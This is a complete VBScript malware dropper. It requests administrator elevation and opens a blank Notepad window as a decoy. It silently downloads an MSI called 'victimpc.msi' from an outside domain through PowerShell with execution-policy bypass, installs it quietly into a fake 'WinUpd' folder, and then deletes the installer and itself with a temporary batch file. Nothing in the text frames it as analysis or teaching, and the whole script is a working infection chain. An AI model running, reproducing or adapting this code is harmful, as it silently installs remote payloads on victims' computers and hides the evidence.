Set shellApp = CreateObject("Shell.Application")
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

' UAC Elevation
If WScript.Arguments.Count = 0 Then
    shellApp.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ elevated", "", "runas", 1
    WScript.Quit
End If

' Sandbox Check
If IsSandbox() Then WScript.Quit

' ===== BLANK NOTEPAD ON DOUBLE CLICK =====
Dim notePath
notePath = shell.ExpandEnvironmentStrings("%TEMP%\readme.txt")
fso.CreateTextFile(notePath, True).Write " "
shell.Run "notepad.exe """ & notePath & """", 1, False
WScript.Sleep 500
' =========================================

' ===== PLAIN URL =====
url = "https://www.gbicibuburraya.com//scrvicti/victimpc.msi"

tmpFolder = shell.ExpandEnvironmentStrings("%TEMP%\WinUpd\")
tmpMSI = tmpFolder & "victimpc.msi"

If Not fso.FolderExists(tmpFolder) Then fso.CreateFolder(tmpFolder)

' Download + Install
shell.Run "powershell -NoP -Ep Bypass -C ""Invoke-WebRequest -Uri '" & url & "' -OutFile '" & tmpMSI & "'""", 0, True
shell.Run "msiexec /i """ & tmpMSI & """ /quiet /norestart", 0, True

' Cleanup MSI + Self Delete
shell.Run "cmd /c timeout /t 8 /nobreak && del /f /q """ & tmpMSI & """", 0, True

batPath = shell.ExpandEnvironmentStrings("%TEMP%\~d" & Timer & ".bat")
batCode = "@echo off" & vbCrLf & "timeout /t 5 /nobreak >nul" & vbCrLf & "del /f /q """ & WScript.ScriptFullName & """" & vbCrLf & "del /f /q ""%~f0"""
fso.CreateTextFile(batPath, True).Write batCode
shell.Run "cmd /c """ & batPath & """", 0, False

Function IsSandbox()
    IsSandbox = False
End Function